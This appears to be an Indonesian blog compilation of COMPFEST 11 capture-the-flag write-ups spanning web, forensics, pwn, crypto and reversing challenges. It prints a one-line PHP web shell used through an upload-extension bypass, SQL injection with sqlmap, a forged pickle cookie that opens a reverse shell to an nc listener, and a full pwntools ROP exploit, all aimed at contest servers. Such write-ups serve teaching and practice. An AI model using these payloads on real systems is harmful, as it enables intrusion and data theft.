Writeup Compfest11 2019

writeup ini di bikin berdasarkan 4 writeup milik tim lain dan Untuk versi pdf bisa di download di akhir artikel.

Super-Secure-Filter [338] -Web-

soal :

Are you sure this web is super-secure ?

Check this : http://104.250.105.109:19014

Pembuat soal: Ariqqq

Pembahasan :

Kami membuka web yang diberikan, lalu kami berasumsi bahwa web ini memiliki ​ vulnerability Server Side Template Injection (SSTI). Lalu kami mencoba menginputkan angka negatif. Namun ketika di submit ternyata web memberikan error response.




Namun jika diperhatikan error tersebut ada error pada file ​ myfilters.py ​ lalu kami pun teringat bahwa di framework Django kita dapat membuat ​ custom template ​ dan ​ filter ​ (Ref: https://docs.djangoproject.com/en/1.11/howto/custom-template-tags/​ )



Lalu menggunakan ​ custom filter ​ tersebut kami mencoba melihat isi variable-variable lokal yang ada pada file ​ views.py ​ seperti ​ context, request, other ​ ​ dan lain-lain menggunakan filter ​ isinya​ dan kebanyakan memberi




Lalu menggunakan filter ​ ambildong​ kami pun mengecek attribute-attribute yang dapat di print, termasuk __doc__​ dan pada variable​ arthropods​ kami menemukan flagnya.




Flag : COMPFEST11{djan90_cu5t0m_template_filters_d0nt_forg3t_t0_set_debu9_fal5e}



Pendaftaran Volunteer AYEY [292] -Web-

soal :

Sekarang adalah tahun 2100. kamu hidup di dunia di mana semuanya ada, kecuali meme. di tahun di mana meme diperlakukan layaknya narkoba, kamu harus sembunyi-sembunyi jika kamu mau simpan barang haram ini.

Kamu adalah seorang detektif anti-meme. Menurut informanmu, website pendaftaran volunteer AYEY telah disalahgunakan untuk penyimpanan meme ilegal. Gudang meme ini bukan hanya menyimpan meme dalam bentuk JPEG, tapi juga MP4, GIF, dan bahkan ZIP! tapi aku tak yakin dengan informasi ini(Hati-hati Hoax), terakhir kali aku hanya bisa menupload dalam bentuk JPEG. Bisakah kamu mengungkap penyimpanan gudang meme ini?

http://104.250.105.109:19018/

Pembuat soal: andeeka
pembahasan :

Di berikan service web dengan url http://104.250.105.109:19018/ dimana user bisa mendaftar sebagai Volunteer. Pada form file upload ternyata tidak secure dan bisa di manfaatkan untuk mengupload malware / backdoor.



save scipt di bawah dengan extensi .jpg, contoh : inibekdor.jpg

<?php system($_GET['xxx']); ?>  

lalu upload ke server tapi sebelum requests di kirim ke server kita tamper menggunakan burpsuite dan ganti extensi dari jpg menjadi .php lalu buka url file nya maka kita sudah mendapatkan akses ke server dengan argument “?xxx=<command>”



ketika di list menggunakan command ls -lah ternyata sangat banyak file dan terdapat file fl4gnya.txt yang berisi sesuatu yang sangat mirip flag, tetapi saat di submit "Inccorrect", ternyata ada orang iseng yang sengaja mengupload untuk membuat jebakan.

Lalu ketuka di teliti ternyata file yang di upload oleh panitia dan volunteer ternyata user nya beda, kami coba kelompokan file yang memiliki user root dengan command

“ls -lah | grep root”

Download semua File yang user nya adalah root dengan membuka url file nya. Terdapat file Spongesecret.jpg yang terdapat string format flag yang juga bisa di akses di http://104.250.105.109:19018/uploads/Spongesecret.jpg dan ketika di submit ternyata itu benar flag nya



Flag : COMPFEST11{s3nd1ng_f4ke_m41l_huh?}



Pemetaan Perguruan Tinggi [494] -Web-

soal :

Yuk, buka http://104.250.105.109:19008
Layanan untuk mencatat rencana pilihan program studi dan perguruan tinggi siswa SMA.
Pengguna dapat mendaftar dengan Nomor Induk Siswa (NIS) 2 - 300.

Untuk mengantisipasi NIS 2 - 300 telah terdaftar, pengguna dapat login dengan

NIS: 1
Password: compfest

Pembuat soal: finishal

pembahasan :

Pada awalnya kami melihat halaman web yang diberikan dan login menggunakan akun yang diberikan, lalu kami melihat ada menu ​ Hasil Pemetaan SNMPTN 3​ yang menarik.



Lalu kami mengintip history proxy burp ternyata halaman web tersebut memanggil request ke /includes/deltxhasil.php ​ dengan parameter urut ​ dan ​ tahapan​ , kami iseng mengubah parameter urut menjadi tanda kutip ' lalu kami mendapatkan error. Dari error tersebut kami yakin bahwa web ini ​ vulnerable ​ terhadap Error Based SQL Injection




Karena kami malas untuk dump data manual, kami copy data request ke text lalu kami gunakan file request tadi sebagai input file untuk SQLMap.




Lalu kami dump seluruh database menggunakan command -D docker --dump-all, lalu kami mendapatkan flagnya.



flag : COMPFEST11{beware_of_SQLI}




FileShack [1000] -Web-

soal:

We build a repository for secret files with modern web framework. http://104.250.105.109:19080

Pembuat soal: Fariskhi Vidyan
api.py urls.py


pembahasan:

Diberikan web http://104.250.105.109:19080 dan source api.py dan url.py

Sebelum source api.py di-release, kami menganalisa cookie dan ternyata setelah didecode merupakan hasil serialize dari pickle protokol 4.

Karena terdapat signature, kami tidak bisa menngubahnya karena dibutuhkan SECRET_KEY. Sampai saat source api.py di release dan kami bisa mendapatkan SECRET_KEY

try:
# Protection against "SQL Injection"
token = token.replace('\'', '')
token = token.replace(';', '')
token = token.replace('\\', '')
file_list = File.objects.raw('SELECT * FROM fileboard_file WHERE token="%s"' % token)
for file in file_list:
file_path = file.file_path
except:
raise Http404
if file_path:
file_dir = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
file_path = file_dir + '/files/' + file_path

Variable Token datang dari paramter GET /file/<token>.

Dari source tersebut diketahui terdapat celah SQLI, pada variable file_path bisa di lakukan path transversal dengan cara me-return path lokasi yang diinginkan saat menginjek SQLI.

Kami awalnya membaca file manage.py agar mengetahui nama project, lalu membaca file settings.py untuk mengetahui SECRET_KEY

$ python r.py “../FileShack/settings.py”
....
SECRET_KEY
...

Untuk mem-forge cookie dengan payload pickle reverse shell kami menggunakan script dari https://github.com/danghvu/pwp yang ditelah sedikit dimodifikasi.

$ python exploit.py

Server VPS
$ nc -vlp 2121
$$ grep -Ri "COMPFEST" 2>/dev/null
var/flag/a8d0183:COMPFEST11{sQLi_4Nd_tH3N_Rc3_uWu_6c1d7fef}

script nya :
- r.py
- exploit.py

Flag : COMPFEST11{sQLi_4Nd_tH3N_Rc3_uWu_6c1d7fef}




Cable News Network [50] -Forensic-

soal :

image will be passed into Cable News Network Algorithm, can you figure it's feature?

check this out
file


Pembuat soal: Ariqqq


pembahasan :

Diberikan sebuah file gambar yang hanya berisi titik-titik saja. Karena sepertinya dibackground ada bayang-bayang tulisan, kami mencoba untuk mengubah-ubah channel warnanya.

File gambar dimasukkan ke stegsolve, lalu diubah channel warnanya, dan kelihatan flagnya.



flag : COMPFEST11{preprocessing_convolutional_neural_network_yeay}




File Separation [50] -Forensic-

soal :

I split a file into 8 files. Can you assemble it?

myfile.zip

sha256sum files:

    b60ce2e740c5a06765517f839afcadc433fe5318b120acc65d505d1e537e91d5 5TJKUQMMHVSH6N26OVGYSEML7MR7XYMV

    e481028895da1943756976a4c42982596106403532ada5d2d7aa22f2dbad205c 7UEIMXOSXHB7QMAK7ESUJFZ6W4S73L2Y

    bf99b8b164759c799ca17c887fe36a25e6939812433a2624e6af45d1d330cd80 FUONSYBYZZFIZRO24CR7TUIJUOMMPWNL

    e02502b6acf7a7ddf11bc04117b92b09f4086c7bfb4dc87c9a68a2063ca95fb0 L6MX2CYFKDEYXEZ5QWHHM4Q57H6WSJQK

    70c15c6e4ba56fc4d26fd21595ac2125208b9b71bcba83782c0090bb83fb0a38 LVF5LK4BNHVW2K5DBT4J7KIQJD4MQDQH

    13701a19d06ab1e8c521312d5e7a00de6dd0099cf7cd7e146eba1c61d289baed MXXRYR7KVHCQYQCCPTC4YTTZI4CVRHEB

    a09368ce37801c5160337a1f3f9ffa8b7f97270b9fe2058a706789bd0e22c6bf O2KA5QQJO7SADZKP3REYQADUB7MR3CT6

    3402b69a92079f1f51d4a88dbfdad9c3b0eea27495c769d8c5a95eaede215304 YUAE3MNDTWG67BGF4BKXLFR2XNXWWGCV

Pembuat soal: FwP
P.S.: Format flag sesuai dengan soal (bukan rule)

pembahasan :

Diberikan sebuah file zip yang berisi 8 file dengan nama di hash. Untuk mempermudah, nama file diubah menjadi 1,2,3,4,5,6,7,8

Ketika kami mencoba membuka 1 per 1 filenya, ada 1 file yang mempunyai header JPEG. Kami memberi nama file ini “a”



Lalu kami langsung mencari footer untuk JPEG, dan kami menemukan kembali di file yang berbeda. Kami beri nama “z”



Tersisa 6 file yang menurut kami adalah letaknya ditengah-tengah si “a” dan “z” ini, jika dilakukan kombinasi, maka akan terdapat 720 kombinasi dan akan memakan waktu, maka dari itu kami mencoba mencari apakah ada pola file yang sama.







Pencarian berbuah manis, ditemukan beberapa file yang berpola mirip, lalu kami coba satukan, total file yang mempunyai pola akhiran dan awalan yang mirip adalah 4 file.




Ada 1 file diakhiri dengan SXG, dan 1 file diawali dengan SX kami menyatukan 2 file itu




File berpola 楗’楗’楗’楗 pun ditemukan di awalan dan akhiran 2 file berbeda. Maka kami satukan juga, Total file yang kami satukan adalah 4 file.

Kami beri nama “header”

Lalu total file yang akan di kombinasikan mengerucut menjadi 6 kombinasi saja

4 file menjadi satu = header
1 file = footer
3 file terpisah = kombinasi

Kami mengerjakan dengan script python



Akan menjadi
Header 1 2 3 footer
Header 1 3 2 footer
Header 2 1 3 footer
Header 2 3 1 footer
Header 3 1 2 footer
Header 3 21 footer

Lalu gambar kami temukan pada header231footer



Voila ! dan ketemulah flagnya berbayang dibelakang, flag masih sulit terbaca, kami ingin coba mengubah channel gambarnya, namun ketika dimasukan ke stegsolve menjadi error, jadi kami urungkan niat, dan kami dekatkan saja mata kami ke monitor. Kami mendapatkan ternyata flagnya typo dan kami tidak sadar, berkali2 di submit tetap salah. Ternyata F dan P nya terbalik, well played dude.

flag : COMFPEST11{l1TTL3_t1R3D_hUH_9e153ed8}




Encang Maman Belajar Ngoding [500] -Forensic-

soal :

Encang Maman belajar ngoding. Dia mengirim pesan untuk kalian. Dapatkah kalian membaca kode dari Encang Maman?

files here

Pembuat soal: FwP

hint :
pesan1 diencode dengan utf-16

pesan2 diencode dengan utf-32

Cheers.


hint 2 :
2 file tersebut adalah 2 file yang ditulis dengan encoding tertentu, dengan penanda encoding yang dihapus

pembahasan :

Sesuai dengan hint di berikan 2 file dengan encoding berbeda. lalu kita rubah 2 file tersebut ke dalam encoding utf-8 dengan perintah :

iconv -t UTF-16 -t UTF-8 pesan1 | strings
iconv -t UTF-32 -t UTF-8 pesan2 | strings
(REF: https://stackoverflow.com/questions/17287713/using-iconv-to-convert-from-utf-16le-to-utf-8)

flag : COMPFEST11{p14Y1n6_wITH_un1C0D3_uWu}




Let's Jump [460] -PWN-

soal :

nc 104.250.105.109 19001
problem

sha256sum files:

    ea0ab1c8bee1b83ae8b20acc8f4289d0bc10571113b624fbc10c1ead15c7db73 problem

Pembuat soal: FwP


pemabahasan :

Program memiliki vuln buffer overflow dengan memasukkan data lebih dari 9 byte kita sudah dapat mengontrol RIP. Di dalam program terdapat fungsi yang dapat menampilkan flag, tetapi ada 2 argumen sebagai syarat yg harus di kirim agar fungsi tersebut menampilkan flag.



Agar program menampilkan flag, argumen 1 dan kedua harus diisi 1 dan sebuah pointer ke alamat string “Hewhewbrew” yg berada pada alamat 0x00400952. Untuk mengirim argumennya kitaperlu membuild ropchain manual yg mengisi register rdi (arg1) dan rsi (arg2). Dibawah ini merupakan full exploitnya.

from pwn import *
pop_rdi = p64(0x0000000000400923)
pop_rsi_x = p64(0x0000000000400921)
pay = "B"+"A"*0x8
pay += pop_rdi
pay += p64(1)
pay += pop_rsi_x
pay += p64(0x00400952)
pay += p64(0)
pay += p64(0x4007b6)
print(pay)

jalan kan script exploit.py

$ python exploit.py | nc 104.250.105.109 19001
Enter input
COMPFEST11{jump_and_play_with_ret_gadget}

flag : COMPFEST11{jump_and_play_with_ret_gadget}




You Must Strong Enough to Fight Me [500] -PWN-

soal :

nc 104.250.105.109 19009
soal.zip
sha256sum files:

    e2ed29d8e0465e3507523d46aed01e0bdc9ceacb518a37c5c04a082c7863569f problem

Pembuat soal: FwP

pembahasan :

Diberikan binary dan libc (yang salah, dan kemudian harus di-download melalui google drive) dengan konfigurasi sebagai berikut:



Mari kita lihat pada bagian alokasi data:



Kita tidak dapat membuat ​ heap chunk ​ dengan ukuran lebih dari 168 (tidak terlalu masalah). Jika dilihat lebih lanjut, vulnerability yang paling jelas terdapat pada bagian delete:



Index ​ yang bisa dimasukkan secara ​ arbitrary ​ tidak membantu dalam proses pengembangan exploit. Jadi kita memiliki ​ double free dengan libc-2.28, kita dapat memakai ​ tcache-poisoning untuk mengalokasikan​ heap chunk ​ tepat di atas ​ __malloc_hook ,​ dan mendapatkan RCE. Untuk mendapatkan leak libc, kita dapat melakukannya dengan menghapus sebuah heap chunk berukuran 128 (144 dengan metadata) sebanyak 7 kali, agar libc kembali menggunakan sistem
smallbin ​ dan ​ unsorted chunk ​ untuk ukuran 128; pada penghapusan yang ke-8, ​ heap chunk ​ kita sudah terisi dengan alamat ​ main_arena ​ / libc. Langkah terakhir adalah menggunakan double free untuk mengalokasikan chunk tepat di atas ​ __malloc_hook ​ , yang kemudian akan kita isi dengan alamat ​ one_gadget ​ (execve sh).



exploit : https://pastebin.com/YUhjdvrm



flag : COMPFEST11{b3_4w4R3_Of_m35sAg3_sTRinG_89412ab1}




I Hate `log` with Base `e` [500] -PWN-

soal :

nc 104.250.105.109 19004

Enter shellcode here. Only 4 syscall allowed: open, read, write, and getdents. Cheers. File is inside flag.txt file.
soal.zip

Pembuat soal: FwP

pembahasan :

Shellcode terbatas pada 4 open, read, write, dan getdents. Dari sini sudah terlihat ada ls shellcode dan orw untuk leak. Untuk mendapatkan flag, kami harus mendapatkan ​ graph.txt dan ​ dir_generator.cpp​ . Dari ini, di dapat lokasi dari ​ flag.txt​ .

solve.py :


$ python2 solve.py cat /opt/graph.txt > graph.txt
$ head graph.txt
250 12429
196 211
211 195
196 65
211 218
195 229
65 130
$ tail graph.txt
72 233
212 155
220 36
62 150
87 137
31
$ python2 solve.py cat /opt/dir_generator.cpp > dir.cpp
$ g++ dir.cpp -o dir
$ ./dir < graph.txt | grep flag
cp ../flag.txt 196/65/31/
$ python2 solve.py cat /opt/arena/196/65/31/flag.txt
6...
COMPFEST11{s0_m4nY_ln_H3r3}

flag :  COMPFEST11{s0_m4nY_ln_H3r3}




Optimus prime [486] -Kripto-

soal :

Ada pesan rahasia dari bumblebee, tapi biar gak ketahuan megatron dia menyembunyikan 2 prima yang membentuk modulus diantara 10 juta angka lain

files here

Klarifikasi soal optimus prime: Angka2 yang di nums.txt bukan modulus, melainkan faktor2 dari modulus. Cari 2 faktor yang benar

Pembuat soal: Zafirr

pebahasan :

di berikan 2 file nums.txt dan rsa.txt, File rsa.txt berisi nilai exponent dan Cipher.

e: 65537
c:
33867073569804096376518063982841672500849786202796224627000554621664790619006908
817048929
Dan file nums.txt merupakan kumpulan bilangan long integer yang totalnya 10 juta yang di antaranya terdapat 2 faktor dari modulus RSA.

karena nilai faktor RSA pasti merupakan sebuah bilangan prima, maka kita pisahkan bilangan primanya terlebih dahulu menggunakan script :


Di dapatkan kumpulan bilangan prima yang kurang lebih terdapat sekitar 1200 an dan tinggal kita permutasi untuk mendapatkan faktor yang benar menggunakan script :



Tinggal jalankan hingga mendapatkan flag

Flag : COMPFEST11{z4fIRr_i5_aW3s0me_ya}




Works Works Works [489] -Reverse-

soal :

work overtime like a horse
triple

sha256sum files:

    bd307626fabdf92cef6335f18d856d6cf96e9f7b5ddce146d26ea526f6bd79e7 triple

Pembuat soal: finishal

pembahasan :

Diberikan binary 64bit, ​ stripped ​ .


mari kita lihat source nya :



Agar mudah dibaca, beberapa fungsi sudah diubah namanya. Input kita pertama di-​ xor ​ dengan 32, kemudian dilakukan ​ base64 ​ (terlihat jelas dari charset yang digunakan, dan merupakan implementasi standar tanpa charset yang diputar-putar), dan terakhir ditambah dengan 128 (bisa dibilang operasi bitwise NOT). Setelah itu baru string input kita dibandingkan dengan global variable ​ key sepanjang ​ size ​ . Inspeksi lebih lanjut terhadap program menunjukkan value key dan ​ size : ​



Tinggal dibuat script solver yang membalikkan algoritma di atas (invert -> base64 -> xor):

#!/usr/bin/python
from base64 import b64decode as d
# throw the 'ff's since it's in char range
# taken from 0x602080
flag_enc_inv = [
        0xd9,0xb2,0xb9,0xf4,
        0xe3,0xc7,0xda,0xec,
        0xe3,0xb3,0xd1,0xd2,
        0xc5,0xd6,0xf4,0xd9,
        0xd4,0xb1,0xc9,0xd4,
        0xc5,0xee,0xb9,0xc3,
        0xd1,0xd6,0xce,0xc6,
        0xc6,0xe8,0xd2,0xaf,
        0xd5,0xb0,0xe8,0xca,
        0xd2,0xec,0xd1,0xd2,
        0xc5,0xe8,0xe8,0xe4,
]
flag_enc = ""

# invert & keep it at char's size
for i in xrange(len(flag_enc_inv)):
        flag_enc += chr((flag_enc_inv[i]-0x80) & 0xff)
# decode b64
flag_xor = d(flag_enc)
# xor with 0x20
flag = ""
for i in xrange(len(flag_xor)):
        flag += chr(ord(flag_xor[i])^0x20)

print flag



Flag : COMPFEST11{xor32_base64_shift128}




Sumber :
- lucifer : download
- (ノ◕ヮ◕)ノ*:・゚✧ : download
- Rev.ID_CTF : download
- Artilery x Siapa ya : download

Belum ada Komentar untuk "Writeup Compfest11 2019"

Posting Komentar

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel